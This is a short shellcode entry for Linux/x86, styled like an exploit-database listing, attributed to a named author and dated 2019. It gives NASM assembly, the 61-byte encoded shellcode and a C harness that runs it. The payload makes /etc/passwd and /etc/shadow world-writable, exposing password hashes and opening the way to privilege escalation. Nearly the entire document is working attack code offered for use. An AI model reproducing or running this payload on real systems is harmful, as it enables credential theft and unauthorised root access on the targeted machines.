# Exploit Title: Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow (61 bytes)
# Date: 10/07/2019
# Exploit Author: Xavier Invers Fornells
# Contact: x4v1s3c@gmail.com  
# Tested on: Debian 4.19.28
# Architecture: x86
# Size: 61 bytes



#################################### chmod.nasm ####################################

global _start
section .text

_start:
  push byte 15    
  pop eax      
  push byte 0x64    
  push word 0x7773  
  push 0x7361702f    
  push 0x6374652f    
  mov ebx, esp
  
  push word 0x1b6  
  pop ecx    
  
  int 0x80    

  push byte 15
  pop eax    
  push byte 0x77
  push word 0x6f64
  push 0x6168732f
  push 0x6374652f
  mov ebx, esp

  push word 0x1b6
  pop ecx

  int 0x80

  push byte 1
  pop eax
  int 0x80

#################################### shellcode.c ####################################

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x6a\x0f\x58\x6a\x64\x66\x68\x73\x77\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\x6a\x0f\x58\x6a\x77\x66\x68\x64\x6f\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80";

main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}